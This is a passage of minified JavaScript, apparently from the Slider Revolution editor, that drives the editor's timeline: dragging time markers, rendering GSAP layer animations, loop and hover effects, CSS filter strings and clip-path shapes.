",icon:"timer_off"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.timeline.loop.start",val:Math.round(10*t.position.left)}),RVS.F.closeBackupGroup({id:"SlideLoopStartTime"}),RVS.F.updateLoopInputs()},axis:"x"}),RVS.TL.slte.draggable({start:function(e,t){RVS.TL.inDrag=!0},drag:function(e,t){var i=RVS.TL.slts.position().left;t.position.left=t.position.left<=i?i:t.position.left,tpGS.gsap.set(".slidelooptimemarker",{width:t.position.left-i}),RVS.TL.slte.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.slte.addClass("covered"):RVS.TL.slte.removeClass("covered"),RVS.F.updateSlideLoopTimes({cont:!0,end:t.position.left,start:i}),RVS.F.updateLoopInputs({s:10*i,e:10*t.position.left})},stop:function(e,t){var i=RVS.TL.slts.position().left;t.position.left=t.position.left<=i?i:t.position.left,tpGS.gsap.set(".slidelooptimemarker",{width:t.position.left-i}),RVS.TL.slte.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.slte.addClass("covered"):RVS.TL.slte.removeClass("covered"),RVS.F.updateSlideLoopTimes({cont:!0,end:t.position.left,start:i}),RVS.F.openBackupGroup({id:"SlideLoopEndTime",txt:"Slide Loop End Time ",icon:"timer_off"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.timeline.loop.end",val:Math.round(10*t.position.left)}),RVS.F.closeBackupGroup({id:"SlideLoopEndTime"}),RVS.F.updateLoopInputs()},axis:"x"}),RVS.TL.ct.draggable({start:function(e,t){RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.isActive()||(RVS.F.buildMainTimeLine(),RVS.TL.ht.addClass("hideme"),RVS.TL.inDrag=!0,RVS.TL[RVS.S.slideId]&&void 0!==RVS.TL[RVS.S.slideId].slide&&RVS._R.transitions.motionFilter.clearFull(RVS.SBGS[RVS.S.slideId].n,RVS.TL[RVS.S.slideId].slide))},stop:function(e,t){RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.isActive()||(RVS.TL.ct.offset().left-RVS.TL.TL.offset().left<265?RVS.TL.ct.addClass("covered"):RVS.TL.ct.removeClass("covered"),RVS.TL.ht.removeClass("hideme"),RVS.F.timelineDragsStop())},drag:function(e,t){RVS.SBGS[RVS.S.slideId].n.fmExists&&(RVS.SBGS[RVS.S.slideId].n.timeDirection=t.position.left>RVS.SBGS[RVS.S.slideId].n.lastProcess?"forwards":t.position.left<RVS.SBGS[RVS.S.slideId].n.lastProcess?"backwards":RVS.SBGS[RVS.S.slideId].n.timeDirection,RVS.SBGS[RVS.S.slideId].n.lastDirection!==RVS.SBGS[RVS.S.slideId].n.timeDirection&&RVS.TL[RVS.S.slideId]&&void 0!==RVS.TL[RVS.S.slideId].slide&&RVS._R.transitions.motionFilter.clearFull(RVS.SBGS[RVS.S.slideId].n,RVS.TL[RVS.S.slideId].slide),RVS.SBGS[RVS.S.slideId].n.lastProcess=t.position.left,RVS.SBGS[RVS.S.slideId].n.lastDirection=RVS.SBGS[RVS.S.slideId].n.timeDirection),RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.isActive()||requestAnimationFrame(function(){RVS.F.updateCurTime({pos:!1,cont:!0,left:t.position.left,refreshMainTimeLine:!0,caller:"Timeline DraG"}),RVS.TL.ct.offset().left-RVS.TL.TL.offset().left<265?RVS.TL.ct.addClass("covered"):RVS.TL.ct.removeClass("covered")})},containment:".timeline_right_container",axis:"x"}),RVS.DOC.on("mousemove",".stimeline",function(e,t){RVS.F.updateHoverTime({pos:!0,cont:!0,left:e.pageX-310})}),RVS.DOC.on("mouseenter",".stimeline",function(e,t){RVS.TL.ht.show()}),RVS.DOC.on("mouseenter",".timeline_left_container, .context_left, .timeline_right_container",function(e,t){RVS.TL.ht.hide()}),RVS.DOC.on("mouseenter","#timeline_settings",function(e,t){RVS.DOC.trigger("previewStopLayerAnimation"),!RVS.TL.over&&RVS.TL[RVS.S.slideId].main&&void 0!==RVS.TL.cache&&void 0!==RVS.TL.cache.main&&0!==RVS.TL.cache.main&&RVS.F.goToIdle(),RVS.TL.over=!0}),RVS.DOC.on("mouseleave","#timeline_settings",function(e,t){"animation"!==RVS.eMode.mode&&(RVS.TL.over=!1,RVS.TL.ht.hide(),RVS.TL.inDrag||RVS.F.goToIdle())})},RVS.F.animationMode=function(e){RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"})},RVS.F.setSmallestSlideLength=function(e){var t=Math.max(e.left,function(){var e=0;for(var t in RVS.L)if(RVS.L.hasOwnProperty(t)&&"top"!==t&&"bottom"!==t&&"middle"!==t){var i=RVS.F.getPrevNextFrame({layerid:t,frame:"frame_999"});e=e<i.prev.end?i.prev.end:e}return e}()/10);return e.ignore||RVS.F.updateMaxTime({pos:!0,cont:!0,left:t}),t},RVS.F.goToIdle=function(t){e||(RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}),RVS.F.buildMainTimeLine(),RVS.F.updateCurTime({pos:!0,cont:!0,force:!1,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"})),e=!0},RVS.F.updateMaxTime=function(e){(e=void 0===e?{pos:!0,cont:!0,left:RVS.F.getSlideLength()}:e).left=void 0===e.left?RVS.F.getSlideLength():e.left,e.pos&&tpGS.gsap.set(RVS.TL.mt,{left:e.left+"px"}),e.cont&&m(e.left,RVS.TL.mt_txt),RVS.F.updateCoveredTimelines()},RVS.F.updateCurTime=function(e){e.pos&&tpGS.gsap.set(RVS.TL.ct,{left:e.left+"px"}),e.cont&&(e.left=isNaN(e.left)?0:e.left,e.left>0?(RVS.TL.ct[0].classList.add("inmove"),m(e.left,RVS.TL.ct_txt)):RVS.TL.ct[0].classList.remove("inmove"),RVS.F.updateCoveredTimelines()),e.refreshMainTimeLine&&(e.left/100<=0?RVS.F.updateTimeLine({force:e.force,state:"idle",timeline:"main",caller:"UpdateCurTime A"}):RVS.F.updateTimeLine({force:e.force,state:"time",time:e.left/100,timeline:"main",freeze:e.freeze}))},RVS.F.updateSlideLoopTimes=function(e){e.pos&&(tpGS.gsap.set(RVS.TL.slts,{left:e.start+"px"}),tpGS.gsap.set(RVS.TL.slte,{left:e.end+"px"}),tpGS.gsap.set(".slidelooptimemarker",{left:e.start,width:e.end-e.start})),e.cont&&(m(e.start,RVS.TL.slts_txt),m(e.end,RVS.TL.slte_txt))},RVS.F.updateFixedScrollTimes=function(e){e.pos&&(tpGS.gsap.set(RVS.TL.fixs,{left:e.start+"px"}),tpGS.gsap.set(RVS.TL.fixe,{left:e.end+"px"}),tpGS.gsap.set(".fixedscrolltimemarker",{left:e.start,width:e.end-e.start})),e.cont&&(m(e.start,RVS.TL.fixs_txt),m(e.end,RVS.TL.fixe_txt))},RVS.F.updateHoverTime=function(e){RVS.TL.hoverTimeLeft=void 0===e.left?RVS.TL.hoverTimeLeft:e.left,RVS.TL.hoverTimeLeft=void 0===RVS.TL.hoverTimeLeft?0:RVS.TL.hoverTimeLeft,RVS.TL._scrollLeft=void 0===RVS.TL._scrollLeft?0:RVS.TL._scrollLeft,e.pos&&tpGS.gsap.set(RVS.TL.ht,{left:e.left+"px"}),e.cont&&m(RVS.TL.hoverTimeLeft+RVS.TL._scrollLeft,RVS.TL.ht_txt)},RVS.F.updateFrameTime=function(e){RVS.TL.frameTimeLeft=void 0===e.left?RVS.TL.frameTimeLeft:e.left,RVS.TL.frameTimeLeft=void 0===RVS.TL.frameTimeLeft?0:RVS.TL.frameTimeLeft,RVS.TL._scrollLeft=void 0===RVS.TL._scrollLeft?0:RVS.TL._scrollLeft,e.pos&&tpGS.gsap.set(RVS.TL.ft,{left:e.left+"px"}),e.cont&&m(RVS.TL.frameTimeLeft,RVS.TL.ft_txt)},RVS.F.getLayerFrames=function(e){var t=void 0===e.extend?{}:e.extend;for(var i in t[e.layerid]={type:RVS.L[e.layerid].type,frames:{}},RVS.L[e.layerid].timeline.frameOrder)if(RVS.L[e.layerid].timeline.frameOrder.hasOwnProperty(i)){var a=RVS.L[e.layerid].timeline.frameOrder[i].id;void 0!==e.afterStart?(RVS.L[e.layerid].timeline.frames[a].timeline.start>e.afterStart&&"frame_999"!==a&&(t[e.layerid].frames[a]=RVS.L[e.layerid].timeline.frames[a].timeline.start),"frame_999"===a&&!0===e.include999&&(t[e.layerid].frames[a]=RVS.L[e.layerid].timeline.frames[a].timeline.start)):t[e.layerid].frames[a]=RVS.L[e.layerid].timeline.frames[a].timeline.start}return t},RVS.F.getLayersEndWithSlide=function(){var e={};for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&"top"!==t&&"bottom"!==t&&"middle"!==t&&(e[t]={type:RVS.L[t].type,endWithSlide:RVS.L[t].timeline.frames.frame_999.timeline.endWithSlide,frames:{frame_999:RVS.L[t].timeline.frames.frame_999.timeline.start}});return e},RVS.F.getSlideLayersEndWithSlide=function(e){if(null==RVS.SLIDER[e])return{};var t={};for(var i in RVS.SLIDER[e].layers)RVS.SLIDER[e].layers.hasOwnProperty(i)&&"top"!==i&&"bottom"!==i&&"middle"!==i&&(t[i]={type:RVS.SLIDER[e].layers[i].type,endWithSlide:RVS.SLIDER[e].layers[i].timeline.frames.frame_999.timeline.endWithSlide,frames:{frame_999:RVS.SLIDER[e].layers[i].timeline.frames.frame_999.timeline.start}});return t},RVS.F.clearLayerAnimation=function(e){RVS.H[e.layerid].timeline.clear()},RVS.F.formatTime=function(e){e*=1e3;var t=parseInt(e%1e3/10),i=parseInt(e/1e3%60),a=parseInt(e/6e4%60);return(a=a<10?"0"+a:a)+":"+(i=i<10?"0"+i:i)+":"+(t=t<10?"0"+t:t)},RVS.F.updateSplitContent=function(e){var t=!1;if(RVS.H[e.layerid].splitText&&RVS.H[e.layerid].splitText.revert(),"text"===RVS.L[e.layerid].type||"button"===RVS.L[e.layerid].type){for(var i in RVS.L[e.layerid].timeline.frames)if(RVS.L[e.layerid].timeline.frames.hasOwnProperty(i)&&(RVS.L[e.layerid].timeline.frames[i].chars.use||RVS.L[e.layerid].timeline.frames[i].words.use||RVS.L[e.layerid].timeline.frames[i].lines.use)){t=!0;break}RVS.H[e.layerid].splitText=t?new tpGS.SplitText(RVS.H[e.layerid].c,{type:"lines,words,chars",wordsClass:"rs_splitted_words",linesClass:"rs_splitted_lines",charsClass:"rs_splitted_chars"}):void 0}else RVS.H[e.layerid].splitText=void 0;return t},RVS.F.getFrameOrder=function(e){for(var t in RVS.L[e.layerid].timeline.frameOrder=[],RVS.L[e.layerid].timeline.frames)RVS.L[e.layerid].timeline.frames.hasOwnProperty(t)&&RVS.L[e.layerid].timeline.frameOrder.push({id:t,start:"frame_0"===t?-1:RVS.L[e.layerid].timeline.frames[t].timeline.start});RVS.L[e.layerid].timeline.frameOrder.sort(function(e,t){return e.start-t.start}),RVS.L[e.layerid].timeline.frameToIdle=void 0===RVS.L[e.layerid].timeline.frameToIdle?"frame_1":RVS.L[e.layerid].timeline.frameToIdle},RVS.F.renderLayerAnimation=function(t){var i=RVS.H[t.layerid],a=RVS.L[t.layerid],r=600;if(void 0!==RVS.TL[RVS.S.slideId].layers&&void 0!==RVS.TL[RVS.S.slideId].layers[t.layerid]&&void 0!==i&&void 0!==a.timeline&&void 0!==a.timeline.frames){i.timeline&&i.timeline.pause("frame_IDLE"),i.timeline=new tpGS.TimelineMax({paused:!0});var s=("text"===a.type||"button"===a.type)&&RVS.F.updateSplitContent({layerid:t.layerid});a.timeline.split=s,RVS.F.getFrameOrder({layerid:t.layerid});var o=RVS.F.getFirstFrame({layerid:t.layerid});for(var n in a.timeline.frameOrder)if(a.timeline.frameOrder.hasOwnProperty(n)){var l=a.timeline.frameOrder[n].id;if("frame_0"!==l){var S=void 0===t.frameObj||t.frame!==l?a.timeline.frames[l]:t.frameObj;a.timeline.sessionFilterUsed=RVS.F.checkGlobalFiltersOnLayer(t.layerid),"frame_999"===l&&a.timeline.frames.frame_999.timeline.auto&&((S=jQuery.extend(!0,{},a.timeline.frames.frame_999)).transform=jQuery.extend(!0,{},a.timeline.frames.frame_0.transform),S.mask=jQuery.extend(!0,{},a.timeline.frames.frame_0.mask),S.words=jQuery.extend(!0,{},a.timeline.frames.frame_0.words),S.lines=jQuery.extend(!0,{},a.timeline.frames.frame_0.lines),S.chars=jQuery.extend(!0,{},a.timeline.frames.frame_0.chars),S.sfx=jQuery.extend(!0,{},a.timeline.frames.frame_0.sfx),S.filter=jQuery.extend(!0,{},a.timeline.frames.frame_0.filter),S.bfilter=jQuery.extend(!0,{},a.timeline.frames.frame_0.bfilter),S.color=jQuery.extend(!0,{},a.timeline.frames.frame_0.color),S.bgcolor=jQuery.extend(!0,{},a.timeline.frames.frame_0.bgcolor));var m=l===o?a.timeline.frames.frame_0:void 0,f=RVS.TL[RVS.S.slideId].layers[t.layerid][l],h=i.c,g=V(S.sfx.effect,i.m,S.timeline.ease),v=new tpGS.TimelineMax,_=S.timeline.speed/1e3,L=0;f.timeline=new tpGS.TimelineMax,"block"===g.type&&(g.ft[0].background=window.RSColor.get(S.sfx.color),f.timeline.add(tpGS.gsap.fromTo(g.bmask_in,_/2,g.ft[0],g.ft[1],0)),f.timeline.add(tpGS.gsap.fromTo(g.bmask_in,_/2,g.ft[1],g.t,_/2)),"frame_0"===l||"frame_1"===l?f.timeline.add(v.staggerFromTo(h,.05,{autoAlpha:0},{autoAlpha:1,delay:_/2},0),0):"frame_999"===l&&f.timeline.add(v.staggerFromTo(h,.05,{autoAlpha:1},{autoAlpha:0,delay:_/2},0),0));var w,b=y({sessionFilterUsed:a.timeline.sessionFilterUsed,frame:S,layerid:t.layerid,ease:S.timeline.ease,splitAmount:h.length,target:l}),F=l===o?y({sessionFilterUsed:a.timeline.sessionFilterUsed,frame:m,layerid:t.layerid,ease:S.timeline.ease,splitAmount:h.length,target:"frame_0"}):void 0,I="true"==S.mask.use||1==S.mask.use?y({frame:{transform:{x:S.mask.x,y:S.mask.y,clip:S.mask.clip}},layerid:t.layerid,ease:b.ease,target:"mask"}):void 0,D=l===o?y({frame:{transform:{x:m.mask.x,y:m.mask.y,clip:m.mask.clip}},layerid:t.layerid,ease:b.ease,target:"frommask"}):void 0,x=b.ease;if(void 0!==S.color&&S.color.use?b.color=window.RSColor.get(S.color.color):b.color=window.RSColor.get(a.idle.color[RVS.screen].v),void 0!==m&&(void 0!==m.color&&m.color.use?F.color=window.RSColor.get(m.color.color):F.color=window.RSColor.get(a.idle.color[RVS.screen].v)),void 0!==S.bgcolor&&S.bgcolor.use)(w=window.RSColor.get(S.bgcolor.backgroundColor)).indexOf("gradient")>=0?b.background=w:b.backgroundColor=w;else(w=window.RSColor.get(a.idle.backgroundColor)).indexOf("gradient")>=0?b.background=w:b.backgroundColor=w;if(void 0!==m)if(void 0!==m.bgcolor&&m.bgcolor.use)(w=window.RSColor.get(m.bgcolor.backgroundColor)).indexOf("gradient")>=0?F.background=w:F.backgroundColor=w;else(w=window.RSColor.get(a.idle.backgroundColor)).indexOf("gradient")>=0?F.background=w:F.backgroundColor=w;var C=0;if(s)for(var k in d)if(d.hasOwnProperty(k)&&S[d[k]].use&&!t.quickRendering){var O=i.splitText[d[k]],T=y({frame:S,source:d[k],ease:x,layerid:t.layerid,splitAmount:O.length,target:l+"_"+d[k]}),j=l===o?y({frame:m,ease:T.ease,source:d[k],layerid:t.layerid,splitAmount:O.length,target:"frame_0_"+d[k]}):void 0;L=parseInt(S[d[k]].delay,0)/100,window.RSColor.get(a.idle.color[RVS.screen].v)===b.color&&"frame_1"===l||(T.color=b.color),void 0!==F&&window.RSColor.get(a.idle.color[RVS.screen].v)!==F.color&&(j.color=F.color),void 0!==j&&j.color!==b.color&&(T.color=b.color);var E=u(jQuery.extend(!0,{},T)),M=l===o?u(jQuery.extend(!0,{},j)):void 0,P=p(S[d[k]].direction);delete E.grayscale,delete E.brightness,void 0!==M&&(delete M.grayscale,delete M.brightness),E.stagger="center"===P||"edge"===P?R({each:L,offset:L/2,from:P}):{each:L,from:p(S[d[k]].direction)},E.duration=_,void 0!==M&&delete M.dir,l===o?f.timeline.add(v.fromTo(O,M,E),0):f.timeline.add(v.to(O,E),0),C=Math.max(C,O.length*L)}if(_+=C,r="local"===RVS.SLIDER.settings.general.perspectiveType?void 0!==F&&void 0!==F.transformPerspective?F.transformPerspective:void 0!==b.transformPerspective?b.transformPerspective:RVS.SLIDER.settings.general.perspective:RVS.SLIDER.settings.general.perspective,void 0!==I?(I.overflow="hidden",I.rotationX=a.idle.rotationX,I.rotationY=a.idle.rotationY,I.rotationZ=a.idle.rotationZ,I.opacity=a.idle.opacity,I.transformPerspective=r,l===o?(D.rotationX=a.idle.rotationX,D.rotationY=a.idle.rotationY,D.rotationZ=a.idle.rotationZ,D.opacity=a.idle.opacity,f.timeline.add(tpGS.gsap.fromTo([i.m,i.bgmask],_,D,I),0)):f.timeline.add(tpGS.gsap.to([i.m,i.bgmask],_,I),0)):f.timeline.add(tpGS.gsap.to(i.m,.001,{transformPerspective:r,filter:"none",x:0,y:0,opacity:a.idle.opacity,rotationX:a.idle.rotationX,rotationY:a.idle.rotationY,rotationZ:a.idle.rotationZ,overflow:"visible"}),0),b.force3D="auto",delete b.clipB,l===o?(delete F.clipB,void 0!==i.bg&&f.timeline.fromTo(i.bg,_,F,b,0),void 0!==i.bg&&"column"===a.type?f.timeline.fromTo(h,_,c(F),c(b),0):f.timeline.fromTo(h,_,F,b,0)):(void 0!==i.bg&&f.timeline.to(i.bg,_,b,0),void 0!==i.bg&&"column"===a.type?f.timeline.to(h,_,c(b),0):f.timeline.to(h,_,b,0)),void 0!==x&&Array.isArray(x)&&x.indexOf("SFXBounce")>=0&&f.timeline.to(h,_,{scaleY:.5,scaleX:1.3,ease:b.ease+"-squash",transformOrigin:"bottom"},1e-4),"full"===t.timeline){var z=parseInt(S.timeline.start,0)/1e3;i.timeline.addLabel(l,z),i.timeline.add(f.timeline,z),i.timeline.addLabel(l+"_end","+=0.01"),a.timeline.frameToIdle===l&&i.timeline.addLabel("frame_IDLE")}else i.timeline.addLabel(l),i.timeline.add(f.timeline),l===t.frame?i.timeline.addPause(l+"_end+=0.5",function(e){this.play(e)},[t.frame]):(i.timeline.addLabel(l+"_end"),a.timeline.frameToIdle===l&&i.timeline.addLabel("frame_IDLE"),a.timeline.loop.use?(i.timeline.addPause(l+"_end+="+a.timeline.loop.speed/500,function(){this.play()}),"frame_999"==l&&i.timeline.addPause(l+"_end+=0.5",function(){this.play(0)})):i.timeline.addPause(l+"_end+=0.5",function(){this.play()}))}}if("true"!=a.hover.usehover&&1!=a.hover.usehover&&"desktop"!=a.hover.usehover||!i.htr)i.hoverlistener&&(i.hoverlistener=!1,i.w.off("hover"));else{i.hover=new tpGS.TimelineMax,i.hover.pause(),i.htr.ease=a.hover.ease;var A=parseInt(a.hover.speed,0)/1e3;A=0===A?1e-5:A,"column"!==a.type&&"row"!==a.type||i.hover.to(i.bg,A,jQuery.extend(!0,{},i.htr),0),"text"!==a.type&&"button"!==a.type||!a.timeline.split||void 0===i.splitText||i.hover.to([i.splitText.lines,i.splitText.words,i.splitText.chars],A,{color:i.htr.color,ease:i.htr.ease},0),"column"===a.type?i.hover.to(i.c,A,c(jQuery.extend(!0,{},i.htr)),0):i.hover.to(i.c,A,jQuery.extend(!0,{},i.htr),0),"svg"===a.type&&!0!==a.idle.svg.originalColor&&(i.hover.to(i.svg,A,{fill:window.RSColor.get(a.hover.svg.color),stroke:window.RSColor.get(a.hover.svg.strokeColor),"stroke-width":a.hover.svg.strokeWidth,"stroke-dasharray":RVS.F.getDashArray(a.hover.svg.strokeDashArray),"stroke-dashoffset":void 0===a.hover.svg.strokeDashOffset?0:a.hover.svg.strokeDashOffset},0),i.hover.to(i.svgPath,A,{fill:window.RSColor.get(a.hover.svg.color)},0)),i.hover.to([i.m,i.bgmask],A,{overflow:a.hover.usehovermask?"hidden":"visible"},0),i.hoverlistener||(i.hoverlistener=!0,i.w.on("mouseenter",function(){void 0!==this.dataset.uid&&"true"!=RVS.L[this.dataset.uid].hover.usehover||i.hover.play()}).on("mouseleave",function(){void 0!==this.dataset.uid&&"true"!=RVS.L[this.dataset.uid].hover.usehover&&RVS.H[this.dataset.uid].hover.time(0).pause(),"hover"===RVS.eMode.mode&&i.w.hasClass("selected")||i.hover.reverse()}),"hover"===RVS.eMode.mode&&jQuery.inArray(parseInt(a.uid,0),RVS.selLayers)>=0&&RVS.L[t.layerid].hover.usehove?i.hover.play():i.hover.time()>0&&i.hover.reverse())}if(!a.timeline.loop.use||e&&"animation"!==RVS.eMode.mode)(G=new tpGS.TimelineMax({})).set(i.lp,{"-webkit-filter":"blur(0px) grayscale(0%) brightness(100%)",filter:"blur(0px) grayscale(0%) brightness(100%)",x:0,y:0,z:0,scale:1,skewX:0,skewY:0,rotationX:0,rotationY:0,rotationZ:0,transformPerspective:r,transformOrigin:"50% 50%",opacity:1}),i.timeline.add(G,0);else{var H=a.timeline.loop.frame_0,B=a.timeline.loop.frame_999,Q=new tpGS.TimelineMax({}),G=new tpGS.TimelineMax({repeat:-1,yoyo:a.timeline.loop.yoyo_move}),N=new tpGS.TimelineMax({repeat:-1,yoyo:a.timeline.loop.yoyo_rotate}),W=new tpGS.TimelineMax({repeat:-1,yoyo:a.timeline.loop.yoyo_scale}),X=new tpGS.TimelineMax({repeat:-1,yoyo:a.timeline.loop.yoyo_filter}),Y=parseInt(a.timeline.loop.speed,0)/1e3,U=parseInt(a.timeline.loop.start)/1e3||0,q=U+.2,Z="blur(0px) grayscale(0%) brightness(100%)",K="blur("+parseInt(H.blur||0,0)+"px) grayscale("+parseInt(H.grayscale||0,0)+"%) brightness("+parseInt(H.brightness||100,0)+"%)",J="blur("+(B.blur||0)+"px) grayscale("+(B.grayscale||0)+"%) brightness("+(B.brightness||100)+"%)";if("blur(0px) grayscale(0%) brightness(100%)"===K&&"blur(0px) grayscale(0%) brightness(100%)"===J&&(K="none",J="none",Z="none"),Q.add(G,0),Q.add(N,0),Q.add(W,0),Q.add(X,0),a.timeline.loop.curved){var $=parseInt(a.timeline.loop.radiusAngle,0)||0,ee=[{x:parseInt(H.x,0)-parseInt(H.xr,0),y:0,z:parseInt(H.z,0)-parseInt(H.zr,0)},{x:0,y:parseInt(H.y,0)+parseInt(H.yr,0),z:0},{x:parseInt(B.x,0)+parseInt(B.xr,0),y:0,z:parseInt(B.z,0)+parseInt(B.zr,0)},{x:0,y:parseInt(B.y,0)-parseInt(B.yr,0),z:0}],te={type:"thru",curviness:a.timeline.loop.curviness,path:[],autoRotate:a.timeline.loop.autoRotate};for(var ie in ee)ee.hasOwnProperty(ie)&&(te.path[ie]=ee[$],$=++$==ee.length?0:$);i.timeline.fromTo(i.lp,.2,{"-webkit-filter":Z,filter:Z,x:0,y:0,z:0,scale:1,skewX:0,skewY:0,rotationX:0,rotationY:0,rotationZ:0,transformPerspective:r,transformOrigin:a.timeline.loop.originX+" "+a.timeline.loop.originY+" "+a.timeline.loop.originZ,opacity:1},{x:te.path[3].x,y:te.path[3].y,z:te.path[3].z,scaleX:H.scaleX,skewX:H.skewX,skewY:H.skewY,scaleY:H.scaleY,rotationX:H.rotationX,rotationY:H.rotationY,rotationZ:H.rotationZ,"-webkit-filter":K,filter:K,ease:"sine.out",opacity:H.opacity},U),G.to(i.lp,a.timeline.loop.yoyo_move?Y/2:Y,{motionPath:te,ease:a.timeline.loop.ease})}else i.timeline.fromTo(i.lp,.2,{"-webkit-filter":Z,filter:Z,x:0,y:0,z:0,scale:1,skewX:0,skewY:0,rotationX:0,rotationY:0,rotationZ:0,transformPerspective:r,transformOrigin:a.timeline.loop.originX+" "+a.timeline.loop.originY+" "+a.timeline.loop.originZ,opacity:1},RVS.F.checkLoopSkew({x:H.x,y:H.y,z:H.z,scaleX:H.scaleX,skewX:H.skewX,skewY:H.skewY,scaleY:H.scaleY,rotationX:H.rotationX,rotationY:H.rotationY,rotationZ:H.rotationZ,ease:"sine.out",opacity:H.opacity,"-webkit-filter":K,filter:K}),U),G.to(i.lp,a.timeline.loop.yoyo_move?Y/2:Y,{x:B.x,y:B.y,z:B.z,ease:a.timeline.loop.ease});N.to(i.lp,a.timeline.loop.yoyo_rotate?Y/2:Y,{rotationX:B.rotationX,rotationY:B.rotationY,rotationZ:B.rotationZ,ease:a.timeline.loop.ease}),W.to(i.lp,a.timeline.loop.yoyo_scale?Y/2:Y,RVS.F.checkLoopSkew({scaleX:B.scaleX,scaleY:B.scaleY,skewX:B.skewX,skewY:B.skewY,ease:a.timeline.loop.ease}));var ae={opacity:B.opacity,ease:a.timeline.loop.ease,"-webkit-filter":J,filter:J};X.to(i.lp,a.timeline.loop.yoyo_filter?Y/2:Y,ae),i.timeline.add(Q,q)}"atstart"!==t.mode&&("0"===RVS.S.keyFrame||"frame_0"===RVS.S.keyFrame?i.timeline.pause("frame_1"):"idle"===RVS.S.keyFrame?i.timeline.pause("frame_IDLE"):i.timeline.pause(RVS.S.keyFrame+"_end")),void 0!==t.time&&i.timeline.time(t.time),"loopsingleframe"===t.timeline?i.timeline.play(t.frame):"full"!==t.timeline&&i.timeline.eventCallback("onComplete",function(){this.restart()})}},RVS.F.checkLoopSkew=function(e){return void 0===e.skewX&&delete e.skewX,void 0===e.skewY&&delete e.skewY,e},RVS.F.buildFullLayerAnimation=function(e){for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&void 0!==RVS.L[t].uid&&RVS.F.renderLayerAnimation({layerid:t,timeline:"full",mode:e})},RVS.F.playLayerAnimation=function(e){void 0!==e.time?RVS.H[e.layerid].timeline.play(e.time):RVS.H[e.layerid].timeline.play(0),S.push(e.layerid)},RVS.F.stopLayerAnimation=function(e){void 0!==RVS.H[e.layerid]&&(RVS.H[e.layerid].timeline&&RVS.H[e.layerid].timeline.pause("frame_IDLE"),S=RVS.F.rArray(S,parseInt(e.layerid,0)))},RVS.F.stopAllLayerAnimation=function(){for(var e=S.length;S.length>0;)RVS.F.stopLayerAnimation({layerid:S[0]});e>0&&(RVS.TL.cache.main<=0?RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"stopAllLayerAnimation"}):RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0}))},RVS.F.stopAndPauseAllLayerAnimation=function(){RVS.S.shwLayerAnim=!1,RVS.F.changeSwitchState({el:document.getElementById("layer_simulator"),state:"play"}),RVS.F.changeSwitchState({el:document.getElementById("layer_simulator_loop"),state:"play"}),RVS.F.stopAllLayerAnimation()},RVS.F.buildFilter=function(e){if(void 0===e)return"";var t="";return RVS.S.isChrome8889&&0===e.blur&&(e.blur=.05),t=void 0!==e.blur?"blur("+parseFloat(e.blur||0)+"px)":"",t+=void 0!==e.grayscale?(t.length>0?" ":"")+"grayscale("+parseInt(e.grayscale||0)+"%)":"",""===(t+=void 0!==e.brightness?(t.length>0?" ":"")+"brightness("+parseInt(e.brightness||100)+"%)":"")?"none":t},RVS.F.buildBackdropFilter=function(e){if(void 0===e)return"";var t="";return RVS.S.isChrome8889&&0===e.b_blur&&(e.b_blur=.05),t=void 0!==e.blur?"blur("+parseInt(e.blur||0)+"px)":"",t+=void 0!==e.grayscale?(t.length>0?" ":"")+"grayscale("+parseInt(e.grayscale||0)+"%)":"",t+=void 0!==e.sepia?(t.length>0?" ":"")+"sepia("+parseInt(e.sepia||0)+"%)":"",t+=void 0!==e.invert?(t.length>0?" ":"")+"invert("+parseInt(e.invert||0)+"%)":"",""===(t+=void 0!==e.brightness?(t.length>0?" ":"")+"brightness("+parseInt(e.brightness||100)+"%)":"")?"none":t},RVS.F.checkGlobalFiltersOnLayer=function(e){var t=!0===RVS.L[e].timeline.hoverFilterUsed;if(!0!==t)for(var i in RVS.L[e].timeline.frames){if(!0===t||!RVS.L[e].timeline.frames.hasOwnProperty(i))continue;t=RVS.L[e].timeline.frames[i].filter.use}return t},RVS.F.getClipPaths=function(e,t,i,a){var r;switch(e){case"none":r=t+"% 100%,"+t+"% 0%";break;case"top":r=i+"% 100%,"+t+"% 0%";break;case"middle":r=i+"% 100%,"+t+"% 50%,"+i+"% 0%";break;case"bottom":r=t+"% 100%,"+i+"% 0%";break;case"two":r=i+"% 100%,"+t+"% 75%,"+i+"% 50%,"+t+"% 25%,"+i+"% 0%";break;case"three":r=t+"% 100%,"+i+"% 75%,"+t+"% 50%,"+i+"% 25%,"+t+"% 0%";break;case"four":r=t+"% 100%,"+i+"% 87.5%,"+t+"% 75%,"+i+"% 62.5%,"+t+"% 50%,"+i+"% 37.5%,"+t+"% 25%,"+i+"% 12.5%,"+t+"% 0%";break;case"five":r=t+"% 100%,"+i+"% 90%,"+t+"% 80%,"+i+"% 70%,"+t+"% 60%,"+i+"% 50%,"+t+"% 40%,"+i+"% 30%,"+t+"% 20%,"+i+"% 10%,"+t+"% 0%"}if(a){var s=r.split(",");for(var i in r="",s)s.hasOwnProperty(i)&&(r+=s[s.length-1-i]+(i<s.length-1?",":""))}return r},RVS.F.toggleTimeLine=function(){RVS.TL.timelineStartedFromPlayStop?RVS.DOC.trigger("stopTimeLine"):RVS.DOC.trigger("playTimeLine")}}(),function(e){"use strict";window._R_is_Editor?RVS._R=void 0===RVS._R?{}:RVS._R:window._R_is_Editor=!1;jQuery.fn.revolution=jQuery.fn.revolution||{};var 